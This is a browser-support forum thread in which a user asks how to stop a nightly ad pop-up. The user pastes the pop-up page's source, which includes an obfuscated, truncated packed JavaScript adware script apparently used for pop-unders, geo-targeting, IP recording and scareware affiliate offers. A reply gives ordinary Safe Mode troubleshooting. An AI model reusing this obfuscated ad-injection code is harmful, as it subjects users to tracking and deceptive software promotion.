How do I get rid of This? http://srv.aileronx.com/fusionx/www/delivery/lg.php?bannerid=825&campaignid=240&zoneid=487&loc=1&referer=http%3A%2F%2Fstatic.australia
this pops up every night I deleted a file called "Open it" because I read it was the cause of the problem. I have run almost every malware and cleaner available but still keeps attacking. australianbrewingcompany.com <title></title> <meta name="ROBOTS" content="NOINDEX, NOFOLLOW"> <style type="text/css"> * { margin: 0px; padding: 0px; font-family: verdana,arial,sans-serif; } #explain { font-family: verdana,arial,sans-serif; text-align: center; width: 100%; font-size: 12px; } #question { font-size: 10px; } .defaultText { width: 300px; } .defaultTextActive { color: #a1a1a1; font-style: italic; } </style> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js"></script> <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-42283276-1'); ga('send', 'pageview'); </script> <script type="text/javascript" src="http://bits.wikimedia.org/geoiplookup"></script> <center> <script type="text/javascript">eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('c(q v==="g"||v==d){v=Z}m 1t(39){8 3x="+5E(5T()))}1d("#1F").4r()}});18.h();',62,618,'|||||||QueryString|var|puburl|||if|null||http|undefined|write|||||function|||com|typeof|||||_document|pu||debug|||return|rmx|slug|www|100|rmx2|location|weight|countries|href|section|lp5||utm_source|adcm|utm_campaign|registrycleaner|systweak|mar2|parseInt|dsn|htmlEncode|text|wek|document||IPT||SCR|amp||javascript|indexOf|camp|dsn2|TYPE|SRC|br|jQuery|random|Math|countryCode|direct|code|m2pub|apn2|1000|GB|pop_times|pop_frequency|currentLoad|banned_pop_types|ad_size|else|decode64|secure|ad|st|pop|ad_type|0x0|pub_url|pair|country|TR|ES|back|RU|net|length|DE|BR|rand|eventCategory|zone|event|this|output|eventLabel|1000000|setTimeout|query_string|eventAction|send|SCRIPT|hitType|ga||AR|FR||yieldmanager||catch|cc|IT|JP|cb|2000|reason|val|maxReloads|try|php|fusionx|srv|aileronx|delivery|rmxCamp|dsnCamp|italyCamp|mar2Rmx2Camp|epmCamp|aptCamp|ybtRmxCamp|apt2Camp|marApnCamp|ybt1Self1Camp|serverdomain|weights|for|src|enc3|ybt2Self2Camp|dsn2Camp|size|mar2Apn2Camp|marRmxCamp|apptv2Camp|booCamp|rmx2Camp|context|apn2Camp|slmCamp|madCamp|apt|mtm|scripts|html|curl|MX|matomy|rt|IN|US|creative|id|800x600|12506768||mar|mtmCamp|parts|popunder||ci|is|split|input|lines|sysCamp|campSlug|wekCamp|secsf|height|UA|campObj|PL|ybt2|enc4|CO|slm|db|width|getCampForSlug|enc2|mad|self2|Geo|line|separator|e432|keyStr|charAt|toUpperCase|type|encodeURIComponent|url|zoneid|ybt|campWeight|replace|chr2|nm|chr3|enc1|getCountryCode|lpad|hop|innerHTML|NL|CA|SE|ZA|GR|iframe|string|chr1|clickbank|boostsoftw|apn||boostmain2|tid|fadeOut|appendix||result|false||top|fast|title|vars|AU|TH|self|camps|String|part1|selected|part2|script|SC|RIPT|defaultText|titles|win2|show|getBackUrl|js|DK|PT|ib|inputd|bp|fromCharCode|readserver|dlvr|adnxs|ttj|true|curr|fcc|no|487|site|XX|section_code|substring|eventSuffix|window|reloadUrl|name|afr|scrolling|frameborder|getCampForCountryCode|ready|2233|getRandInterval|titleI|why||fadeIn|img|apt2|isBackWin||a693011f|IQ|newUrl|n35|avw|backUrl|getOne|AT|SA|reportReload|NO|isShowAppendix|FI|screen|getPart1|getReloadUrl|getPart2|blur|234|wekGeoMap|adshostnet|getMaxReloads|secureName|isBackW|800|prepopped_height|push|600|prepopped_width|RegExp|arr|mtmGeoMap|new|city|capitaliseFirstLetter|getSecureVal|italy|forcedCamp2|forcedCamp|a5827c74|explain|ck|a1380be2|titleS|4559519|border|alt|_blank|z5x|getBackHost|https|defaultTextActive|target|sys|reloadWhenNecessary|focus||489|a3891b36|font|||a4f91b45|appendix9|query|250|1468563|252|254|ifr|253|1658658|epm|epom_key|6d19b52936142a416637e0488501c077|4579706|86400|apptv2|4956638|epom_channel|2128|epom_ads_host|epom_click|sync|ads|Sdmo061913|epom_code_format|1751727|4951429|KR|dealply2|BG|dealply1|boo|1601618|5099063|dealply3|MY|pubclick|rame|referrer|1588647|dealply4|4955840|epom_custom_params|sc|236|237|238|235|ame|at|thhruixurx1|239|240|246|247|244||243|241|242|RO||10067|c14901017|pop_test_2|show_ads|protocol|1609425|ript|AZ|uniblue|download|aff|banner1|speedupmypc|cm|pcproblem|249|NOT|argument|art|attempt|attention|approval|apparatus|amusement|animal|answer|attraction|balance|bite|bread|breath|bit|birth|base|behaviour|belief|amount|air|hours|srcc|removeClass|wxyz0123456789|within|will|take|effect|addClass|ghijklmnopqrstuv|adjustment|advertisement|agreement|addition|act|slice|QRSTUVWXYZabcdef|account||brother|building|current|curve|daughter|credit|cover|copper|copy|cotton|day|decision|hide|Back|to|ABCDEFGHIJKLMNOP|hostname|vr|03102105|dom|cook|control|chalk|chance|change|cause|care|business|butter|canvas|cloth|coal|competition|condition|connection|comparison|company|colour|comfort|committee|out|opt|color|red|CAMP|NE|createElement|UK|innerText|div|4584797|FOUND|while|Forcing|Using|Selected|with|search|For|added|KW||IL|CZ|VN|UY|c13331306|PH|c13210645|c13271297|c13391279|AE|BE|OM|SG|CL|JO|LB|IE|SZ|QA|reload|in|krishnaserver|action|record_ip|value|Enter|okClicked|cancelClicked|close|google|dynamic|extract_method|you|do|nYour|Thank|alert|remote_addr|page_url|client_timestamp|eval|jfd|imp9|showWhy|question|reg|e44|secs|rl|rlzz|showOptout|optout|fullscreen|yes|moveTo|c13209603|open|toLowerCase|backClicked'.split('|'),0,{})) </script>
Back
If you would like to opt-out of future ads, please click here.
Important: If you opt-out of future ads, the ad-supported product you have installed may cease to work.
Enter the reason for opting-out:
<input type="text" id="reason" value="Enter reason..." title="Enter reason..." style="width: 340px; font-size: normal;" class="defaultText defaultTextActive">
<input type="submit" value="OK" onclick="okClicked();" style="font-weight: bold;"><input onclick="cancelClicked();return false;" type="button" value="Cancel" style="font-weight: bold;">
All Replies (1)
Hello,
Try Firefox Safe Mode to see if the problem goes away. Safe Mode is a troubleshooting mode, which disables most add-ons.
(If you're not using it, switch to the Default theme.)
- On Windows you can open Firefox 4.0+ in Safe Mode by holding the Shift key when you open the Firefox desktop or Start menu shortcut.
- On Mac you can open Firefox 4.0+ in Safe Mode by holding the option key while starting Firefox.
- On Linux you can open Firefox 4.0+ in Safe Mode by quitting Firefox and then going to your Terminal and running: firefox -safe-mode (you may need to specify the Firefox installation path e.g. /usr/lib/firefox)
- Or open the Help menu and click on the Restart with Add-ons Disabled... menu item while Firefox is running.
Once you get the pop-up, just select "'Start in Safe Mode"
If the issue is not present in Firefox Safe Mode, your problem is probably caused by an extension, and you need to figure out which one. Please follow the Troubleshoot extensions, themes and hardware acceleration issues to solve common Firefox problems article for that.
To exit the Firefox Safe Mode, just close Firefox and wait a few seconds before opening Firefox for normal use again.
When you figure out what's causing your issues, please let us know. It might help other users who have the same problem.
Thank you.